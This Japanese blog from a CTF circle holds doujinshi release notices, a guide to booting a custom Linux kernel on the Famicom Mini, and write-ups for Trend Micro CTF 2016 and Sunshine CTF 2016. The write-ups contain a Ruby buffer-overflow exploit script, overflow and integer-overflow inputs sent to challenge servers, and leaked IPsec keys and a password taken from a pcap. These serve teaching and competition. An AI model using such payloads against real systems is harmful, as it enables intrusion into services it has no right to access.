08 Aug 2017, 02:03

C92参加と新刊のお知らせ

C92(2017年夏コミ)に当選してました。 スペースは 3日目 東イ-60b です。 新刊“urandom vol.4”と既刊“urandom vol.3”を出します。

c92 sample

urandom vol.4は次のような内容になります。

  • mitmproxy入門 (by op)
  • 公平なランサムウェアプロトコル (by yyu)

ページ数は本文34pとなっております。頒布価格は300円の予定です。

それでは会場でお会いしましょう。

28 Apr 2017, 21:15

超技術書典参加のお知らせ

ニコニコ超会議2017に併催の超技術書典に当選しました。スペースは 1日目 B-17 です。 C91に引き続き、“urandom vol.3”を頒布します。

頒布価格は300円です。それでは会場でお会いしましょう。

12 Mar 2017, 17:17

urandom vol.3電子版公開のお知らせ

urandom vol.3電子版

C91 Sample

C91の1ヶ月後に出すと告知しておいて、結局3月になってしまいましたが、urandom vol.3の電子版を公開しました。

urandom vol.3電子版は 128円 での販売となります。内容は物理書籍版とほぼ同じです。

販売ページはこちら(Gumroad)です。決済にはクレジットカードかPayPalが使えます。

物理書籍版購入者の方へ

購入ページに“Offer code”という欄がありますので、そちらに物理書籍挟み込みの紙に記載されたコードを入力してください。

  • コードを使用する場合、クレジットカード情報は不要です。正しいコードを入力すると入力欄が非表示になります。
  • 同一コードは10回まで使用可能です。ダウンロードしたデータを紛失した際は同一コードを入力してください。

13 Dec 2016, 01:30

C91 新刊のお知らせ

C91 Sample

表紙だよ! リンク先はサンプルのPDFだよ!(※サンプルにはカラー写真が含まれていますが、当日頒布する冊子はグレースケールです)

数多の困難を乗り越え、来るC91で頒布する新刊「urandom vol.3」の入稿が完了しました。

改めて告知しますと、スペースは 土曜日 東R-12b です(Webカタログ)。3日目だよ、大晦日だよ。

ページ数は本文64pと読みごたえ抜群の仕様となっております。頒布価格は300円です。

今回の記事は以下の3本です。

  • ファミコンミニとLinux - op
  • Secure Grouping Protocol Using Mental Poker - yyu
  • urandom出版技術部活動報告 - mayth

なお、今回既刊の頒布はありません。vol.1、vol.2は次の電子書籍をご利用ください。

vol.3の電子書籍版はコミックマーケット91の1ヶ月後を目処に配信予定です。

それでは、大晦日に会場でお会いしましょう。

14 Nov 2016, 20:01

ファミコンミニで自前のLinuxカーネルを動かす手順

はじめに

ファミコンミニ自体の権利表記画面や任天堂Webサイトで配布されているOSSソースコードからも分かるように、ファミコンミニの中で動いているのはU-bootで起動されたLinuxです。なので、ファミコンミニを適切に初期化した上で、適切にビルドしたLinuxカーネルを流しこめば、ファミコンミニ上で自前のLinuxを動かせます。U-boot(GPLv2)とLinux(GPLv2)のソースコードを読解・ビルドして自前のLinuxを起動したので、手順を書きます。

注意

この記事の内容を実践すると、製品保証が無効になったり、故障に繋がる可能性があります。内容を理解できる人が自己責任で行って下さい。

事前準備

手順

  1. U-boot, 起動イメージの取得

    1. シリアルコンソールで s キーを押しながらファミコンミニを起動して、U-bootのシェルに入ります。

    2. シリアルコンソールで以下のコマンドを実行して、内蔵フラッシュの先頭部分を読み出します。

      sunxi_flash phy_read 58000000 0 80
      

      読み出し先アドレス0x58000000とセクタ数0x80は、適当な使ってなさそうな所と長さなので、必然性はありません。

    3. シリアルコンソールで fastboot_test コマンドを実行して、FELモードに入ります。

      fastbootと言いつつFELモードに入ります。このFELモードでは最初からDRAMが有効化されています。ただし、シリアルコンソールが壊れるようです。

    4. ホストで以下のコマンドを実行して、手順1.2で読みだしたイメージをホストへ転送します。

      sunxi-fel read 0x58000000 0x1000000 0000-0080.bin
      
    5. U-bootのマジック uboot でイメージ中を検索するとU-bootが見つかります。オフセット0x14にサイズが格納されているので、それを元に切り出します。切り出したファイルをu-boot.binとします。

    6. 起動イメージのマジック ANDROID! でイメージ中を検索すると起動イメージが見つかるので、適当に切り出します。切り出したファイルをboot.imgとします。

  2. Linuxのビルド

    配布されているソースコード中の linux-9ed0e6c8612113834e9af9d16a3e90b573c488ca をビルドします。

    1. drivers/video/sunxi/hdmi_ep952/EP952api.h のコメントアウトされている WARN マクロを有効にします。

    2. 以下のコマンドを実行してconfigします。

      export ARCH=arm
      export CROSS_COMPILE=arm-linux-gnueabi-
      
      make sun8iw5p1smp_defconfig
      
    3. .configに以下の変更を加えます。

      CONFIG_INITRAMFS_SOURCE=""
      CONFIG_CMA=y
      CONFIG_FB_SUNXI=y
      CONFIG_CMDLINE_FORCE=n
      CONFIG_USB_SUPPORT=n
      

      USBを切っているのは単にサイズ削減の為です。

    4. 以下のコマンドを実行してビルドします。

      make zImage
      

      対話的に聞かれるconfigの確認は全部そのままでもとりあえず動きました。

  3. U-boot, 起動イメージの作成

    1. u-boot.bin中の bootcmd=sunxi_flash phy_read 43800000 30 20;boota 43800000bootcmd=boota 43800000 に置換します(オフセットがずれないようにNULLパディング)。

    2. 以下のコマンドで起動イメージを展開します。

      abootimg -x boot.img
      
    3. zImageを手順2で作成したものに差し替え、以下のコマンドで起動イメージを再作成します。

      abootimg --create myboot.img -f bootimg.cfg -k zImage -r initrd.img
      

      このままではinitrd.imgを展開できないので、起動しても /init を実行できずにPanicします。 起動後にシェル等を操作したい場合は、カーネルパラメーターとinitrd.imgを適宜編集したり作りなおして下さい。

  4. Linuxの起動

    1. 手順1.1, 1.3でFELモードに入ります。

    2. ホストで以下のコマンドを実行すると、Linuxが起動します。

      sunxi-fel write 0x43800000 myboot.img
      sunxi-fel write 0x47000000 u-boot.bin
      sunxi-fel exe   0x47000000
      

おわりに

ざっと手順を書き出しました。ファミコンミニは拡張性が低いのが難点ですが、計算能力はそれなりにあるので色々な事ができそうです。 Linuxカーネルはとりあえず動くものをビルドしたので、より適切なビルド方法は他にあるかと思いますし、起動手順ももっと簡素な物がありそうです。

作業を始めた当初は fastboot_test コマンドでDRAM有効化済みのFELモードに入れる事に気付いておらず、 efex コマンドでDRAM無効なFELモードに入って、頑張って自前でDRAMを有効化して作業していました。 その辺のU-bootの紆余曲折やソースコードを解説する記事を、C91で頒布する同人誌 urandom vol.3 に書く予定です(落とさなければ)。続報は追ってこのブログに書きます。

02 Nov 2016, 22:55

urandom vol.2電子版公開のお知らせとC91告知

urandom vol.2電子版

大変長らくお待たせしました。urandom vol.2の電子版を公開しました。

urandom vol.2電子版は 128円 での販売となります。内容は物理書籍版とほぼ同じです(どこが違うか探してみよう! 特に景品はないです)。

販売ページはこちら(Gumroad)です。決済にはクレジットカードかPayPalが使えます。

物理書籍版購入者の方へ

購入ページに”Offer code”という欄がありますので、そちらに物理書籍挟み込みの紙に記載されたコードを入力してください。

  • コードを使用する場合、クレジットカード情報は不要です。正しいコードを入力すると入力欄が非表示になります。
  • 同一コードは10回まで使用可能です。ダウンロードしたデータを紛失した際は同一コードを入力してください。

urandom vol.3

続けて冬のお知らせです。無事に冬コミ(C91)に当選しました。スペースは 土曜日 東R-12b です(Webカタログはこちら)。

これまでだと「だいたいこういう内容になる予定ですよ」というリストくらいは出せていたのですが、今回は現時点で何も決まっておりません。 が、コンピュータセキュリティ的な本であるところからは変わりないと思います。内容が決まり次第随時告知しますので、今しばらくお待ちください。

それでは、今年も大晦日にお会いしましょう。

17 Aug 2016, 00:17

Trend Micro CTF 2016 Online qualifier

日本時間 2016-07-30 13:00 から 2016-07-31 13:00まで(24時間)に行われたTrend Micro CTF 2016のwrite-upです。

urandomは4問解答し600点、92位でした。

Analysis-Offensive 100をyyu、Analysis-Offensive 200、Misc 100、Misc 200をmaythが解答しました。

Analysis - Offensive 100

Category: Analysis/Offensive

Points: 100

Please enter key. Key is TMCTF flag.

Download the file Decrypt the downloaded file by the following command.

openssl enc -d -aes-256-cbc -k x0nSTZ9NrDgvCnqKhL9y -in files1.enc -out files1.zip

unzip files1.zip

この問題は巨大なJavaScriptから正解の鍵を得るというものです。 まず、巨大なJavaScriptのうちの多くの部分は定数をGoogleで調べるなどすると、MD5を実装しているということが分かります。そして、次の3つの文字列もMD5のハッシュ値であろうという推測ができます。

var ko = "c33367701511b4f6020ec61ded352059";

var ka = "61636f697b57b5b7d389db0edb801fc3";

var kq = "d2172edf24129e06f3913376a12919a4";

これらをまたGoogleで調べると、それぞれ次のような文字列であることが分かります。

  • c33367701511b4f6020ec61ded352059654321
  • 61636f697b57b5b7d389db0edb801fc3qwerty
  • d2172edf24129e06f3913376a12919a4admin

そして次の処理でこれらの文字列を変数nlに従って並び換えているということが分かります。

var c = "", d = "", e = "";
for (var f = 0; f < b.length; ) {
    c += b[nl[++f]];
    d += b[nl[++f]];
    e += b[nl[++f]];
}

// ......中略......

var nl = [ 0, 2, 1, 12, 7, 15, 5, 4, 8, 16, 17, 3, 9, 10, 14, 11, 13, 6, 0 ];

最終的にフラグはTMCTF{q6r4dy5ei2na1twm3}でした。

Analysis - Offensive 200

Category: Analysis - offensive

Points: 200

This challenge is composed of a simple remote overflow of a global array. The server address is 52.197.128.90 and the vulnerable application listens on TCP port 80-85. Each port has the same behavior so you can select one of them.

The following code contains a bug that can be exploited to read back a flag:

int pwned;
char buffer[1024];

DWORD WINAPI CallBack(LPVOID lpParameter) {
	pwned = 0;
	ZeroMemory(buffer, 1024);
	SOCKET *sock = (SOCKET *)lpParameter;
	SOCKET _sock = *sock;
	send(_sock, "Welcome", 8, 0);
	int ret = 0;
	ret = recv(_sock, buffer, 1028, 0);
	printf("[x] RET: %d.\n", ret);
	printf("[x] PWNED: 0x%x.\n", pwned);
	Sleep(1);
	if (((pwned >> 16)&0xFFFF ^ 0xc0fe) == 0x7eaf && (((pwned & 0xFFFF)^0x1a1a) == 0xdae4)) {

			send(_sock, "PWNED", 5, 0);
			ReadAndReturn(L"key.txt", _sock);
			closesocket(_sock);
			return 0;
	}
	else {
		send(_sock, "GO AWAY", 7, 0);
		closesocket(_sock);
	}

	return 0;
 }

Craft a packet that would return a valid flag. Good luck!

bufferが1024バイトしか確保されていないにもかかわらず、11行目で ret = recv(_sock, buffer, 1028, 0); と1028バイト読み込むようになっている。したがって、1025-1028バイトの範囲に特定のバイト列を仕込めばよい。満たすべき条件は15行目のif文。

なぜか nc が1024バイトで送信を打ち切ってしまったので、Rubyで書いた。

require 'socket'

HOST = '52.197.128.90'
port = (80..85).to_a.sample

puts "connecting #{HOST}:#{port}"
sock = TCPSocket.open('52.197.128.90', port)

payload = 'a' * 1024 + "\xfe\xc0\x51\xbe"

sock.read(8)
sock.send(payload, 0)
while r = sock.gets
  puts r
end

そして正解をメモし忘れた 😇

Misc 100

Category: Misc(iot and network)

Points: 100

Please analyze this pcap.

pcapファイルが渡される。中身を見ると、IPsecな通信と、普通にtelnetしている通信がある。

Wiresharkでtelnetでのやりとりをテキストとして見ると、 ip xfrm stateを叩いている箇所がある。

.]0;[email protected]:~.[[email protected] ~]$ sudo ip xfrm state
.sudo ip xfrm state
[sudo] password for reds: ynwa
.
src 1.1.1.11 dst 1.1.1.10
	proto esp spi 0xfab21777 reqid 16389 mode tunnel
	replay-window 32 flag 20
	auth hmac(sha1) 0x11cf27c5b3357a5fd5d26d253fffd5339a99b4d1
	enc cbc(aes) 0xfa19ff5565b1666d3dd16fcfda62820da44b2b51672a85fed155521bedb243ee
src 1.1.1.10 dst 1.1.1.11
	proto esp spi 0xbfd6dc1c reqid 16389 mode tunnel
	replay-window 32 flag 20
	auth hmac(sha1) 0x829b457814bd8856e51cce1d745619507ca1b257
	enc cbc(aes) 0x2a340c090abec9186c841017714a233fba6144b3cb20c898db4a30f02b0a003d
src 1.1.1.10 dst 1.1.1.11
	proto esp spi 0xeea1503c reqid 16389 mode tunnel
	replay-window 32 flag 20
	auth hmac(sha1) 0x951d2d93498d2e7479c28c1bcc203ace34d7fcde
	enc cbc(aes) 0x6ec6072dd25a6bcb7b9b3b516529acb641a1b356999f791eb971e57cc934a5eb
src 1.1.1.11 dst 1.1.1.10
	proto esp spi 0xd4d2074d reqid 16389 mode tunnel
	replay-window 32 flag 20
	auth hmac(sha1) 0x100a0b23fc006c867455506843cc96ad26026ec0
	enc cbc(aes) 0xdcfbc7d33d3c606de488c6efac4624ed50b550c88be0d62befb049992972cca6

この情報を元に、IPsecの通信の中身を見ることができる。すると、HTTPでいくつかやりとりをしている箇所が見つかる。その中に flag.png というファイルのダウンロードが含まれている。これを抽出して開くと、フラグが書かれている。

Misc 200

Category: Misc(iot and network)

Points: 200

find all LTE bands this phone supported.

the final answer will be from small to big, and use ‘,’ to seperate without spaces.

example> if the answer is band 1 and 2 and 3, the key should be: “TMCTF{1,2,3}”

ModemSettings.txt というファイルが与えられ、そこからその携帯電話の対応しているLTEバンドを答える。

この ModemSettings.txt はどうやら NV-items_reader_writerというソフトウェアによる出力らしい。

LTEのバンドに関する設定は”6828”番にあるという。該当する箇所を引用する。

6828 (0x1AAC)   -   OK
FF 1D 1F 03 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

ここに書き込まれている数値が対応LTEバンドを表している。ビット単位で読んで、あるビットが立っていたら、そのビットと対応するバンドをサポートしていることを意味している。最右ビットがバンド1に対応する。

寝起きでつらいワンライナーを書いておしまい。エンディアンに注意。

i=0; puts (0x031F1DFF).to_s(2).reverse.split(//).map { |c| i +=1; [c, i] }.select { |x| x[0] == '1' }.map { |x| x[1] }.join(',')

11 Aug 2016, 00:47

C90新刊告知・サンプル公開

C90 Sample

CTFサークルurandomは、コミックマーケット90で新刊「urandom vol.2」を頒布します。 スペースは3日目 東4ホール ム-43bです。 記事は以下の2本で、42P 300円で頒布します。

  • バイナリの調べ方 (by op)
  • Mental Game! (by yyu)

表紙デザインはpolamjagです。 それぞれの記事から2Pずつ抜粋したサンプルを公開します。

また、この新刊のおまけとしてDEF CON CTF 2016 Final参戦記をコピ本で頒布予定です。 8/5-7にアメリカ ラスベガスで開催されたDEF CON CTF 2016 Finalについて、opがCTFチームbinjaのメンバーとして参加した経験を記したもので、現在執筆中です(こちらはurandomとは関係ありません)。

20 Jul 2016, 00:57

C90参加のお知らせ

C90(2016年夏コミ)当選してました。スペースは 3日目 東ム-43b です。C89に引き続き、”urandom vol.2”を出します。内容は引き続いてないです。

urandom vol.2はこんな感じの内容になります。

  • バイナリの調べ方 (by op)
  • Mental Game! (by yyu)

この内容で入稿を完了しています。後ほどサンプルをアップロードします。


  • (2016-07-20 修正)
    • 諸般の事情により『.NET難読化ツール事始め』(fetastein)に代わって、『Mental Game!』(yyu)となりました
    • 入稿完了したよ!!!!

15 Mar 2016, 01:42

Sunshine CTF 2016 Write-up

2016-03-13 01:00 - 2016-03-14 05:00 (JST)に開催されたSunshine CTF 2016のwrite-upです。

なお、今回は以下のメンバー編成で参加しました。

  • mayth (土曜日を寝て潰す担当)
  • op (たまに現れていくらかの助言と違法語句を残して去って行く担当)

ESTはクソ。

Forensics 50: Butterfly Effect

butterfly.pngが与えられる。

ImgSteganoにファイルを読み込ませて”Image > Enhanced LSB”とするとフラグが現れた。

sun{RE4DY_THE_4CID_M4GNET!}

Exploitation 50: alligatorsim95

Don’t try to automate adding X eggs at a time

legends circulate in florida of an alligator that had laid millions of eggs. use this simulator to try to achieve the same greatness

※プログラムは与えられない。

指定されたIPアドレス/ポートにncで接続すると、アリゲーターのAAと共に文章が流れてくる。

-> u r... AN ALLIGATOR!!
.. simulating alligator lifecycle ..
.. simulating alligator throwing physics..
-> you got 1337 eggz in ur nest, how many you gonna lay alligator??

この後に整数値を入力すると、その数だけ卵の数(上記の通り初期値1337)が増える。ただし上限は50。それを超えると拒否され再度同様のプロンプトが現れる。接続を切られるのは以下の通り。

  • echoとかで入力を機械的に流し込もうとしたとき (“Don’t try to automate adding X eggs at a time”)
  • 0や数字として解釈出来ない数を与えたとき
  • 一定時間が経過したとき

この条件下で卵の数を大きくする問題。

色々入力を試すと、0はダメだが負数を受け付けること、また、負数であれば絶対値がいくら大きくてもよいことがわかった。 これを利用すると整数オーバーフローを引き起こすことができる。そうすると卵の数は非常に大きな値となり、フラグを得ることができる。

-> u r... AN ALLIGATOR!!
.. simulating alligator lifecycle ..
.. simulating alligator throwing physics..
-> you got 1337 eggz in ur nest, how many you gonna lay alligator?? -2147483647
~~ producing eggz ~~
.. simulating alligator lifecycle ..
.. simulating alligator throwing physics..
-> you got -2147482310 eggz in ur nest, how many you gonna lay alligator?? -10
~~ producing eggz ~~
.. simulating alligator lifecycle ..
.. simulating alligator throwing physics..
-> you got -2147482320 eggz in ur nest, how many you gonna lay alligator?? -40000
~~ producing eggz ~~
-> dang 2147444976 is a lotta eggs
-> as a god among gators here is ur crown:
sun{int_0verflow_i5_a_g0od_st4rt}

sun{int_0verflow_i5_a_g0od_st4rt}

Exploitation 55: Dance

Some prefer the stanky leg, others prefer the dab, but what dance moves do you have?

IPアドレスとポート番号が指定される。当初プログラムは与えられなかったが、後にフラグ部分を潰したバイナリが配布された。

サーバーに接続すると以下のような文字が流れてくる。

welcome to the pro club. you just paid a door fee and have no respect. earn ur cred on the dancefloor!
give us ur sick dance moves like so:
whip,naenae,whip,whip,naenae<ENTER>

whipnaenaeをカンマ区切りで並べて送信すると

do the naenae
(\)
  \(:O)
   /||\_
_/¯    ¯\_

こんな感じで対応したアクションと愉快なAAが流れてくる。

当初何をさせたいのかさっぱりわからなかったが、バイナリが配布されたのでそれを読んだ。

その結果、こちらからの入力を受け取るバッファについて、memsetで80bytesをNULLで初期化しているにも関わらず、fgetsで最大89bytesまで読み込むようになっていることがわかった。また、0で初期化された特定の変数の値が書き換わっているときにフラグが表示されるようになっていることがわかった。

入力の読み込みはだいたい次のようなロジックになっている。

while (strlen(buf) > 0) {
  if (*buf == 'n') {
    buf += 7;
    donaenae();
  } else if (*buf == 'w') {
    buf += 5;
    dowhip();
  }
}
check_flag();

先頭しか見てないっぽいので適当に80文字の”n”を送り付けたところ、フラグが得られた。

% ruby -e 'puts "n" * 0x50' | nc ****
welcome to the pro club. you just paid a door fee and have no respect. earn ur cred on the dancefloor!
give us ur sick dance moves like so:
whip,naenae,whip,whip,naenae<ENTER>
do the naenae
(\)
  \(:O)
   /||\_
_/¯    ¯\_
(snip)
do the naenae
(\)
  \(:O)
   /||\_
_/¯    ¯\_
girl u can dance w the best of em. the pw to our vip lounge is: sun{d4nc3_0n_th3_s7ack}

cool dance! come again!

sun{d4nc3_0n_th3_s7ack}

Misc 50: Find Floridaman

In other news… Floridaman did what with an alligator?

Remember, this has the normal flag format.

Hint: You need only look at comments from Florida-based news websites.

Hint: Gator went threw a window!

Hint: “Flori-duh”

NOTE: Flag was posted before the 12th

フロリダマンを探すマン。

問題オープン当初は最初の2文だけだったのが、誰も解かないからか次々にヒントが追加されて結局ヒントが3つになった。

ヒントが3つになってから、そのヒントを元に”Flori-duh Alligator”で探してみると、次の記事が見つかった。

Wendy’s alligator-thrower is only fulfilling his Flori-duh destiny

この記事のReader Commentsにフラグがある。

Summerc137 3 days ago May the Lord have mercy on this man. That poor woman in the drivethrough! sun{1s_th1s_even_real_l1fe?}

sun{1s_th1s_even_real_l1fe?}

ちなみにこの事件、なんでも1mちょっとあるアリゲーターをWendy’sのドライブスルーの窓から投げ込んだのだそうな。さすがアメリカ。